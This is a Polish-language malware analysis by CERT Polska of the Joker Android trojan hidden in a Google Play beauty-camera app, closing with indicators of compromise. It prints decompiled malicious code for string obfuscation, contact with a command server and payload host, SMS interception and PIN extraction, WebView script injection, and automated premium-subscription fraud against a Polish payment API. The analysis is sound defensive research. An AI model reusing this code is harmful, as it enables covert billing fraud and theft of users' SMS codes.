Zgłoś incydent
Zgłoś incydent

Mroczny rycerz powraca: Analiza złośliwego oprogramowania Joker
01 października 2024 | Kacper Ratajczak | #joker, #android, #analiza

Zespół CERT Polska zaobserwował w ostatnich tygodniach nowe próbki złośliwego oprogramowania na urządzenia mobilne "Joker" w Google Play Store wycelowane między innymi w polskich użytkowników.

Podstawowe informacje

Złośliwe oprogramowanie Joker, na moment pisania artykułu, nadal było dostępne pod adresem play.google.com/store/apps/details?id=com.onmybeauty.beautycamera:

Aplikacja na dzień analizy ma ponad 100 tys. pobrań i została ostatnio zaktualizowana 17.09.2024 r. Po pobraniu i instalacji przez użytkownika interfejs nie wygląda groźnie i jest zgodny z opisem z Google Play Aparat kosmetyczny może zastąpić oprogramowanie aparatu w Twoim oryginalnym telefonie, umożliwiając lepsze uchwycenie pięknych wspomnień. Poniżej, wygląd uruchomionej aplikacji:

Analiza techniczna

Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:

<activity android:name="com.onmybeauty.beautycamera.LoadingActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

W przypadku analizowanej aplikacji punktem startowym jest com.onmybeauty.beautycamera.LoadingActivity. Dlatego tutaj zaczniemy statyczną analizę kodu. Manifest zawarty w pliku apk, pozwala również wyciągnąć dodatkowe informacje, przykładowo na temat uprawnień:

<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="28"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="com.google.android.gms.permission.AD_ID"/>

Analizując punkt startowy w zdekompilowanej aplikacji jesteśmy w stanie wskazać punkty krytyczne dla analizy:

Po inicjalizacji metody onCreate() następuje szereg działań, między innymi tworzenie interfejsu dla użytkownika. Nas jednak interesują konkretne dwie linijki:

Network.init(this, new NetConfig.Builder().baseUrl(AbstractC1835n.m226m(new byte[]{103, -56, -51, -63, -54, 103, 77, -97, 34, -35, -49, -40}, new byte[]{12, -87, -96, -88, -71, 6, 57, -22})).build());
Network.net();

Funkcja AbstractC1835n.m226m ma za zadanie zaciemnienie kodu, obfuskując kluczowe ciągi znaków. Stosuje ona operację XOR na tablicach bajtów w celu odszyfrowania danych:

public static String m226m(byte[] bArr, byte[] bArr2) {
        int length = bArr.length;
        int length2 = bArr2.length;
        int i = 0;
        int i2 = 0;
        while (i < length) {
            if (i2 >= length2) {
                i2 = 0;
            }
            bArr[i] = (byte) (bArr[i] ^ bArr2[i2]);
            i++;
            i2++;
        }
        return new String(bArr, StandardCharsets.UTF_8);
    }

Po odszyfrowaniu danego ciągu znaku otrzymujemy domenę kamisatu.top. Następnie aplikacja inicjalizuje funkcję Netowrk.init() w celu przechowania domeny w zmiennej NetConfig klasy Network. W kolejnym kroku program wykonuje funkcje Network.net(), której implementacja wygląda następująco:

public static void net() {
        new PostFormTask(new LoadingCallback<String>() { 
            @Override 
            public void onSuccess(String str) {
                Toast.makeText(Network.sContext, str, 0).show();
            }
        }) { 
            @Override 
            public String getApi() {
                return AbstractC1835n.m226m(new byte[]{70, -38, -30, -106, -91, 18, -55, 17, 70, -38, -28, -121, -65, 30, -43, 15}, new byte[]{105, -87, -121, -30, -47, 123, -89, 118});
            }
        }.exe();
    }

Klasa PostFormTask, obsługuje konstrukcję i wykonanie żądania sieciowego:

public abstract class PostFormTask extends BaseTask {
    public <EntityType> PostFormTask(RequestCallback<EntityType> requestCallback) {
        super(requestCallback, RequestType.POST_FORM);
    }
}

RequestType.POST_FORM Określa, że jest to żądanie POST. Klasa BaseTask jest odpowiedzialna za konstruowanie rzeczywistego żądania sieciowego. Konfiguracja żądania jest zaimplementowana w funkcji BaseTask.doTask(), która jest wywoływana po wywołaniu funkcji exe():

private InterfaceC0394j doTask() {
    String transformUrl = transformUrl(); 
    C0371I c0371i = new C0371I(); 

    if (this.mRequestType == RequestType.POST_FORM) {
        c0371i.m3305d(transformUrl);
        AbstractC0376N buildPostForm = ParamsBuilder.buildPostForm(this.mParamsMap);
        c0371i.m3306c("POST", buildPostForm); 
    }
    ParamsBuilder.buildHeaders(c0371i, this.mHeaders);
    return c0371i.m3308a(); 
}

transformUrl(): przekształca ścieżkę API (/setting/scenery), potencjalnie dołączając wszelkie niezbędne parametry lub stosując szyfrowanie/deszyfrowanie:

private String transformUrl() {
        NetConfig netConfig;
        String api = getApi();
        if (!TextUtils.isEmpty(api) && api.startsWith(AbstractC1835n.m226m(new byte[]{69}, new byte[]{106, -58, -70, 67, -59, -27, 96, -57})) && (netConfig = Network.sConfig) != null && !TextUtils.isEmpty(netConfig.baseUrl)) {
            return AbstractC1835n.m226m(new byte[]{58, -127, -126, -30, 23, -101, -31, -117}, new byte[]{82, -11, -10, -110, 100, -95, -50, -92}) + Network.sConfig.baseUrl + api;
        }
        return api;
    }

buildPostForm(): Konstruuje dane formularza dla żądania POST z mapy parametrów mParamsMap:

 public static AbstractC0376N buildPostForm(Map<String, Object> map) {
        String obj;
        ArrayList arrayList = new ArrayList();
        ArrayList arrayList2 = new ArrayList();
        if (map != null && !map.isEmpty()) {
            for (Map.Entry<String, Object> entry : map.entrySet()) {
                if (!TextUtils.isEmpty(entry.getKey())) {
                    Object value = entry.getValue();
                    String key = entry.getKey();
                    if (value == null) {
                        obj = "";
                    } else {
                        obj = value.toString();
                    }
                    AbstractC0137f.m3656e("name", key);
                    AbstractC0137f.m3656e("value", obj);
                    arrayList.add(C0386b.m3282b(key, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                    arrayList2.add(C0386b.m3282b(obj, 0, 0, " \"':;<=>@[]^`{}|/\\?#&!$(),~", false, false, true, false, null, 91));
                }
            }
        }
        return new C0403s(arrayList, arrayList2);
    }

Request Builder (C0371I): Tworzy żądanie sieciowe, ustawiając adres URL, metodę HTTP (POST) i treść (dane formularza).

Metoda exe() jest wywoływana w celu wykonania zadania i wysłania żądania:

@Override
public InterfaceC0394j exe() {
    return doTask(); 
}

Po pomyślnym zakończeniu żądania, odpowiedź jest przetwarzana przez metodę onSuccess() w wywołaniu zwrotnym:

@Override
public void onSuccess(String str) {
    Toast.makeText(Network.sContext, str, 0).show(); 
}

Odpowiedź z serwera jest wyświetlana w wiadomości Toast, wskazując, że serwer zwrócił zakodowane lub zaszyfrowane dane. Toast został tutaj prawdopodobnie użyty jako alternatywa dla schowka, gdyż nie wymaga dodatkowych uprawnień. Wiadomość Toast, którą widzi użytkownik wygląda następująco:

Tutaj Toast wyświetla ciąg znaków, który jest odpowiedzią zwrotną po wysłaniu zapytania na adres kamisatu.top/setting/scenery. Jednak, jak się okazuje, wartość nie jest tylko wyświetlana w Toast, ale jest również przekazywana w innej części APK. Kluczową metodą łączącą wiadomość Toast z natywnym wykonaniem kodu jest metoda handleBody(). Jest ona odpowiedzialna za obsługę odpowiedzi serwera i przetwarzanie danych po wyświetleniu wiadomości w Toast:

private <EntityType> void handleBody(C0378P c0378p, RequestCallback<EntityType> requestCallback) {
        EntityType entitytype;
        Type genericType;
        AbstractC0382U abstractC0382U = c0378p.f1052g;
        if (abstractC0382U != null) {
            String string = abstractC0382U.string();
            if (requestCallback == null || (genericType = Generics.getGenericType(requestCallback.getClass(), RequestCallback.class)) == null || genericType == Void.class) {
                entitytype = null;
            } else {
                entitytype = string;
                if (genericType != String.class) {
                    Object parseObject = JsonUtils.parseObject(string, genericType);
                    entitytype = parseObject;
                    if (parseObject == 0) {
                        onError(5, convert(AbstractC1835n.m226m(new byte[]{26, 71, -58, 41, 19, -92, -59, 7, 124, 17, -62, 87, 71, -121, -82, 86, 82, 67, -102, 102, 37, -34, -78, 48, 24, 114, -16, 38, 7, -82}, new byte[]{-3, -12, 125, -50, -88, 59, 34, -66}), AbstractC1835n.m226m(new byte[]{40, -13, 99, -107, 69, 125, 10, -121, 34, -25, 123, -104}, new byte[]{76, -110, 23, -12, 101, 20, 121, -89})), requestCallback);
                        return;
                    }
                }
            }
            onSuccess(entitytype, requestCallback);
            BeautySoft.open((String) entitytype);
            return;
        }
        onError(4, convert(AbstractC1835n.m226m(new byte[]{73, -2, -21, -40, -65, 114, -39, 97, 47, -88, -17, -90, -21, 81, -78, 48, 1, -6, -73, -105, -119, 8, -82, 86, 75, -53, -35, -41, -85, 120}, new byte[]{-82, 77, 80, 63, 4, -19, 62, -40}), AbstractC1835n.m226m(new byte[]{-19, 55, -64, 2, -122, -32, -96, -48, -5, 42, -33, 24, -116, -91, -14, -41, -25, 62, -55}, new byte[]{-120, 90, -80, 118, -1, -64, -46, -75})), requestCallback);
    }

AbstractC0382U abstractC0382U = c0378p.f1052g;: Ta linia kodu jest odpowiedzialna za wyodrębnienie odpowiedzi serwera przy użyciu metody abstractC0382U.string(). Następnie odpowiedź jest przekazywana do metody onSuccess(), która uruchamia komunikat Toast z zaszyfrowanym ciągiem znaków. Ciąg znaków z odpowiedzi serwera jest również przekazywany do funkcji BeautySoft.open((String) entitytype);, która jest funkcją natywną:

public abstract class BeautySoft {
    static {
        System.loadLibrary(AbstractC1835n.m226m(new byte[]{112, -50, -100, 13, -53, 123, 56, 25}, new byte[]{0, -90, -13, 121, -92, 8, 93, 109}));
    }

    public static native void open(String str);
}

Biblioteka natywna (libphotoset.so) jest ładowana dynamicznie przy użyciu funkcji System.loadLibrary(). Nazwa biblioteki jest szyfrowana i deszyfrowana przy użyciu metody AbstractC1835n.m226m(). Odpowiedź serwera (pokazana w Toaście) jest przekazywana do natywnej metody BeautySoft.open(). Niestety aktualna wersja pliku APK dostępna w Google Play Store nie zawiera w zasobach natywnej biblioteki libphotoset.so. Może to wynikać z faktu, iż osoby odpowiedzialne za umieszczanie aplikacji w sklepie Google, na bieżąco aktualizują i zmieniają aplikacje w celu zmniejszenia ryzyka wykrycia przez automatyczne narzędzia. Z naszych informacji wynika również, że poprzednia wersja była dystrybuowana jako xapk, gdzie bilbioteka libphotoset.so była dostępna.

Tutaj jednak nasza analiza wcale się nie kończy. Wiemy, że zaszyfrowany ciąg znaków jest przekazywany do metody BeautySoft.open(String str), która prawdopodobnie deszyfruje go i uruchamia go dynamicznie jako DEX. Pozostaje więc ręcznie zdeszyfrować ciąg znaków. W tym miejcu bardzo przydatne okazuje się narzędzie CyberChef, przy pomocy którego udało się odszyfrować ciąg znaków i uzyskać odszyfrowany plik DEX, który zawiera docelowe złośliwe funkcje Jokera. Ciąg znaków z odpowiedzi od kamisatu.top/setting/scenery zawiera dwie kluczowe informacje. Pierwszą jest bliżej nieokreślony ciąg znaków, a drugą jest adres URL: https://forga.oss-me-east-1.aliyuncs.com/Kuwan.

Biorąc pod uwagę, że nie mamy dostępu do natywnej biblioteki implementującej funkcje BeautySoft.open(), możemy zakładać, że aplikacja posiada dwie metody "stworzenia" pliku DEX: 1. odszyfrowanie ciągu znaków zawartego w odpowiedzi 2. bezpośrednie pobranie pliku Kuwan i odszyfrowanie go.

Analiza ciągu znaków wykazała, że jest to niestandardowe szyfrowanie. Na tapet wzięliśmy więc plik Kuwan, który udało się odszyfrować:

Analiza techniczna etapu drugiego

Odszyfrowany plik Kuwan w rzeczywistości faktycznie jest docelowym plikem DEX, co zdaje się potwierdza wstępną teorię, o natywnej metodzie, która odszyfrowuje ciąg znaków/plik pobrany z zewnętrznej strony do pliku DEX a następnie ładuje i wykonuje go dynamicznie.

Subskrypcję klasyfikujemy jako oszustwo, gdy odbywa się ona bez zgody użytkownika. W przypadku oszustw związanych z subskrypcjami złośliwe oprogramowanie wykonuje subskrypcję w imieniu użytkownika w taki sposób, że cały proces dzieje się w tle i jest niezauważalny.

Pierwszą istotną rzeczą wykonywaną przez złośliwe oprogramowanie jeszcze przed głównymi krokami, jest identyfikacja kraju subskrybenta i sieci komórkowej za pomocą kodów MCC i MNC. Oba kody aplikacja pobiera za pomocą klasy TelephonyManager. Wywołanie API TelephonyManager.getSimOperator() zwraca kody MCC i MNC jako połączony ciąg znaków

private static String MdATElAc() {
        TelephonyManager telephonyManager = (TelephonyManager) f33LfUtNUXX.getSystemService("phone");
        return telephonyManager != null ? telephonyManager.getSimOperator() : "";
    }

Warianty Jokera, które celują w urządzenia z wersją Android 9.0 używają do wyłączenia Wi-Fi metodę setWifiEnabled klasy WifiManager. Natomiast analizowany wariant korzysta z innej możliwości, którą jest funkcja requestNetwork z klasy ConnectivityManagerclass.

private void TXbyafmq() {
        try {
            NetworkRequest.Builder builder = new NetworkRequest.Builder();
            builder.addCapability(12);
            builder.addTransportType(0);
            WYOdgBxH().requestNetwork(builder.build(), new C0038BdnLopBC());//public class C0038BdnLopBC extends ConnectivityManager.NetworkCallback
        } catch (Exception e) {
        }
    }
    private ConnectivityManager WYOdgBxH() {
        return (ConnectivityManager) this.f75WYOdgBxH.getSystemService("connectivity");
    }

NetworkCallback służy do monitorowania stanu sieci i pobierania zmiennej networktype, której następnie można użyć do powiązania procesu z określoną siecią za pośrednictwem funkcji ConnectivityManager.bindProcessToNetwork. Pozwala to złośliwemu oprogramowaniu na korzystanie z sieci komórkowej, nawet jeśli istnieje połączenie Wi-Fi.

Zakładając, że operator SIM znajduje się na liście docelowej, a urządzenie korzysta z połączenia mobilnego (co wiemy z poprzedniego kroku), to w następnym kroku malware pobierze listę stron internetowych oferujących usługi premium i spróbuje je zasubskrybować. To, co dzieje się dalej, zależy od sposobu zainicjowania procesu subskrypcji, dlatego złośliwe oprogramowanie zwykle zawiera kod, który może obsługiwać różne przepływy subskrypcji.

W drugim etapie aplikacja komunikuje się z zewnętrznym serwerem w celu pobrania konfiguracji (w tym adresów URL do subskrypcji). Wykorzystuje ona funkcję C0055MdATElAc WYOdgBxH(Context context, boolean z) do wysyłania zaszyfrowanych żądań, ukrywając treść komunikacji.

 public static C0055MdATElAc WYOdgBxH(Context context, boolean z) {
        if (TextUtils.isEmpty(C0021LfUtNUXX.f34MdATElAc)) {
            return null;
        }
        JSONObject jSONObject = new JSONObject();
        try {
            jSONObject.put("zubfih", String.valueOf(C0021LfUtNUXX.f36WYOdgBxH));
            jSONObject.put("bshwai", C0021LfUtNUXX.BUjkrPlp);
            jSONObject.put("eymbmw", z);
            jSONObject.put("rktfht", C0021LfUtNUXX.f37fhuPPCBW);
            String url = WYOdgBxH(C0023WYOdgBxH.f42LfUtNUXX).toString();
            C0006TXbyafmq WYOdgBxH2 = new C0005LfUtNUXX().WYOdgBxH(url, WYOdgBxH(jSONObject.toString(), url));
            if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
                return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));
            }
            return null;
        } catch (IOException e) {
            return null;
        } catch (JSONException e2) {
            return null;
        }
    }

Szkodliwe oprogramowanie sprawdza, czy dostarczony został kod SIM operatora, tworzy payload oraz konstruuje URL z wcześniej otrzymanego ciągu znaków, którego jednak nie jesteśmy w stanie uzyskać, ponieważ nie mamy dostępu do biblioteki natywnej libphotoset.so. Kiedy funkcja open() odszyfrowywała plik DEX, uruchamiała metodę init(), gdzie przekazywany był string z adresem URL C&C:

public class MainEntry {
    public static void init(String str, String str2) {
        C0021LfUtNUXX.WYOdgBxH(str, str2);
    }
}

Następnie szyfruje payload i wysyła do C&C:

private static byte[] WYOdgBxH(String str, String str2) {
        return C0021LfUtNUXX.CEBGtjfl.WYOdgBxH(str, str2);
    }
public byte[] WYOdgBxH(String str, String str2) {
        byte[] WYOdgBxH2 = WYOdgBxH(str2);
        SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
        IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
        try {
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(1, secretKeySpec, ivParameterSpec);
            return cipher.doFinal(str.getBytes(StandardCharsets.UTF_8));
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
public C0006TXbyafmq WYOdgBxH(String str, byte[] bArr) {
        try {
            InterfaceC0007WYOdgBxH interfaceC0007WYOdgBxH = this.f15TXbyafmq;
            if (interfaceC0007WYOdgBxH != null) {
                str = interfaceC0007WYOdgBxH.WYOdgBxH(str);
            }
            HttpURLConnection WYOdgBxH2 = WYOdgBxH(str, "POST");
            WYOdgBxH2.setDoInput(true);
            WYOdgBxH2.setDoOutput(true);
            if (bArr != null && bArr.length > 0) {
                OutputStream outputStream = WYOdgBxH2.getOutputStream();
                outputStream.write(bArr);
                outputStream.flush();
                outputStream.close();
            }
            return WYOdgBxH(WYOdgBxH2, str);
        } catch (Exception e) {
            return WYOdgBxH(str, e);
        }
    }

Aplikacja sprawdza, czy połączenie było udane:

if (C0006TXbyafmq.WYOdgBxH(WYOdgBxH2)) {
return new C0055MdATElAc(new JSONObject(WYOdgBxH(WYOdgBxH2.f18MdATElAc, url)).getJSONArray("lybfta").getJSONObject(0));}

Jeśli tak, to deszyfruje dane zwrotne od C&C a następnie odczytuje i zapisuje dane z tablicy lubfta:

public String WYOdgBxH(byte[] bArr, String str) {
        byte[] WYOdgBxH2 = WYOdgBxH(str);
        SecretKeySpec secretKeySpec = new SecretKeySpec(WYOdgBxH2, "AES");
        IvParameterSpec ivParameterSpec = new IvParameterSpec(WYOdgBxH2);
        try {
            Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            cipher.init(2, secretKeySpec, ivParameterSpec);
            return new String(cipher.doFinal(bArr));
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

Kiedy szkodliwa aplikacja dostanie listę potencjalnych subskrybentów, włącza przechwytywanie SMS-ów:

class C0042TXbyafmq extends BroadcastReceiver {


        final String f82WYOdgBxH;

        C0042TXbyafmq(String str) {
            this.f82WYOdgBxH = str;
        }

        @Override 
        public void onReceive(Context context, Intent intent) {
            String stringExtra = intent.getStringExtra(this.f82WYOdgBxH);
            if (TextUtils.isEmpty(stringExtra)) {
                stringExtra = intent.getStringExtra("android.text");
            }
            if (TextUtils.isEmpty(stringExtra)) {
                stringExtra = intent.getStringExtra("at");
                if (!TextUtils.isEmpty(stringExtra) && !Telephony.Sms.getDefaultSmsPackage(C0037TXbyafmq.this.f75WYOdgBxH).equals(intent.getStringExtra("ap"))) {
                    return;
                }
            }
            C0022TXbyafmq.LfUtNUXX("addSmsFromBroadcast:" + stringExtra);
            C0037TXbyafmq.WYOdgBxH(stringExtra);
        }
    }

Następnie aplikacja inicjuje webView(C0028LfUtNUXX) z włączoną obsługą JavaScript, i inicjuje połączenie do URL strony z subskrypcją z wcześniej pobranej listy. W kolejnym kroku wykonuje JavaScript w celu interakcji ze stroną, co automatyzuje cały proces i pozwala zasubskrybować daną stronę bez interakcji z użytkownikiem:

public void WYOdgBxH(C0055MdATElAc.C0056LfUtNUXX c0056LfUtNUXX) {
        if (this.f57TXbyafmq.f105TXbyafmq >= 300) {
            TXbyafmq("runJs-" + c0056LfUtNUXX.f113WYOdgBxH + ":" + c0056LfUtNUXX.f110LfUtNUXX);
        }
        this.f58WYOdgBxH.evaluateJavascript(c0056LfUtNUXX.f110LfUtNUXX.replace(C0023WYOdgBxH.BRgPASkR, this.f59fhuPPCBW), null);
    }

JavaScript jest wykonywany w kontekście WebView, powodując wywołanie metody call(C0023WYOdgBxH.BRgPASkR == "window.JBridge.call('dump', document.documentElement.outerHTML);")

 @JavascriptInterface
        public String call(String str, String str2) {
            try {
            } catch (Exception e) {
                C0028LfUtNUXX.this.TXbyafmq("JBridge-Exception:" + e.toString());
            }
            if (C0028LfUtNUXX.this.f57TXbyafmq.eJbwVqlc > 0) {
                return "";
            }
            if (str.equals(C0023WYOdgBxH.KWHgxmAB)) { // (str.equals("dump"))
                C0052BdnLopBC WYOdgBxH2 = C0028LfUtNUXX.this.f57TXbyafmq.WYOdgBxH();
                if (WYOdgBxH2 != null) {
                    WYOdgBxH2.WYOdgBxH(str2);
                }
                return "";
            }

W tym momencie analizy widzimy, że malware jest już w stanie automatyzować interakcje ze stroną subskrypcji oraz przechwytywać i zapisywać wiadomości SMS. Ostatnim krokiem jest finalna interakcja ze stronami w celu zasubskrybowania. Dzieje się to w obrębie funkcji LfUtNUXX(String str). Funkcja najpierw próbuje pobrać MSISDN (ang. Mobile Station International Subscriber Directory Number) z zapisanych parametrów:

public void LfUtNUXX(String str) {
        String str2;
        String WYOdgBxH2 = C0022TXbyafmq.WYOdgBxH(str, "api2/", "/");
        C0006TXbyafmq WYOdgBxH3 = new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str);
        this.f52WYOdgBxH.BdnLopBC("2_url:" + WYOdgBxH3.f17LfUtNUXX);
        String str3 = WYOdgBxH3.f17LfUtNUXX.split("/")[4];
        String str4 = WYOdgBxH3.f17LfUtNUXX.split("/")[5];
        this.f52WYOdgBxH.BdnLopBC("2_t1:" + str3);
        this.f52WYOdgBxH.BdnLopBC("2_t2:" + str4);
        this.f52WYOdgBxH.BdnLopBC("2_prod:" + WYOdgBxH2);
        String WYOdgBxH4 = WYOdgBxH();
        this.f52WYOdgBxH.BdnLopBC("2_msisdn:" + WYOdgBxH4);
        ...
private String WYOdgBxH() {
        C0055MdATElAc.C0056LfUtNUXX WYOdgBxH2 = this.f52WYOdgBxH.WYOdgBxH("pl_protocol", 100);
        return (WYOdgBxH2 == null || !TextUtils.isDigitsOnly(WYOdgBxH2.f110LfUtNUXX)) ? "" : WYOdgBxH2.f110LfUtNUXX;
    }
  1. Pobiera parametr o nazwie „pl_protocol” z kontekstu
  2. Sprawdza, czy wartość parametru składa się tylko z cyfr (prawidłowy numer telefonu komórkowego).
  3. Zwraca MSISDN, jeśli jest dostępny; w przeciwnym razie zwraca pusty ciąg znaków.

Następnie szkodliwa aplikacja wysyła żądanie transakcji przy użyciu uzyskanego MSISDN i reszty wymaganych danych, takich jak TransactionId (są one przekazywane przez C&C, co zostało pokazane w poprzednich krokach analizy):

String str7 = "https://epayment.teleaudio.pl/api2/typeundef_" + WYOdgBxH2 + "/direct/proceed";
String str8 = "{\"TransactionId\":\"" + str3 + "\",\"Msisdn\":\"" + WYOdgBxH4 + "\",\"Carrier\":\"U\",\"Consents\":null,\"Connection\":\"typeundef\"}";
this.f51LfUtNUXX.clear();
this.f51LfUtNUXX.put("Content-Type", "application/json");
this.f51LfUtNUXX.put("Authorization", "Bearer " + str4);
this.f52WYOdgBxH.BdnLopBC("4_s5_url:" + str7);
this.f52WYOdgBxH.BdnLopBC("4_s5_data:" + str8);
this.f52WYOdgBxH.TXbyafmq();
String str9 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str7, str8.getBytes()).f18MdATElAc);
this.f52WYOdgBxH.BdnLopBC("5_s5_content:" + str9);

W kolejnym kroku, jeśli żądanie się powiodło, aplikacja pobiera kod z SMS-a (jak wiemy z poprzednich kroków, aplikacja na bieżąco pobiera i zapisuje wiadomości SMS), który jest wymagany do potwierdzenia transakcji:

String LfUtNUXX2 = this.f52WYOdgBxH.LfUtNUXX("2::(kod|PIN|code).*?(\\d{3,6})", 30029);
this.f52WYOdgBxH.BdnLopBC("5_s5_pin:" + LfUtNUXX2);

Ostatecznie, po zdobyciu kodu PIN potrzebnego do zatwierdzenia transakcji, aplikacja wysyła potwierdzenie:

String str10 = "https://epayment.teleaudio.pl/api2/ta/direct/confirm";
this.f52WYOdgBxH.BdnLopBC("5_s6_data:" + ("{\"TransactionId\":\"" + str3 + "\",\"Pin\":\"" + LfUtNUXX2 + "\",\"Consents\":null}"));
this.f52WYOdgBxH.BdnLopBC("6_s6_content:" + new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH(str10, str2.toString().getBytes()).f18MdATElAc));

Po zatwierdzeniu transakcji, sprawdza jej status i weryfikuje, czy subskrypcja przebiegła pomyślnie:

 String str11 = new String(new C0005LfUtNUXX().WYOdgBxH(this.f51LfUtNUXX).WYOdgBxH("https://epayment.teleaudio.pl/api2/ta/direct/status/" + str3).f18MdATElAc);
        this.f52WYOdgBxH.BdnLopBC("7_s7_content:" + str11);
        if (str11.contains("Transakcja zakończona pomyślnie.")) {
            WYOdgBxH(100);
        } else {
            WYOdgBxH(903);
        }

Podsumowanie

Kompleksowa analiza zachowania aplikacji ujawniła wyrafinowany i złośliwy mechanizm zaprojektowany w celu subskrybowania przez użytkowników usług premium bez ich wiedzy i zgody. Jest to wieloetapowy proces wykorzystujący szyfrowaną komunikację, zaciemniony kod i nieautoryzowany dostęp do wrażliwych danych użytkownika. Analizując każdy komponent i rozumiejąc przepływ operacji, możemy stwierdzić, że aplikacja stanowi poważne zagrożenie dla bezpieczeństwa, prywatności i finansów użytkowników.

IOC

MD5
Pierwszy etap
1ad4d8037d6890f317dc28bb53c1eb03 (com.onmybeauty.beautycamera.apk - https://play.google.com/store/apps/details?id=com.onmybeauty.beautycamera)
Drugi etap
f508a96654c355b8bd575f8d8ed8a157 - decoded_kuwan.dex
kamisatu[.]top
https://forga.oss-me-east-1.aliyuncs.com/Kuwan

Inne powiązane próbki z kampanią Joker w ostatnich dniach:
962c0590dd3d2cdb707e32ae8b30bcfc (wersja xapk z dołączoną biblioteką photolibrary.so)
bcfe46df4d66cc3c6f92d281ceac53e1
5942a2e46b29ddc1dd5d9373a8c419ad
62d9b7cff4a09d7c3b7e8bcf9d00d196
Udostępnij: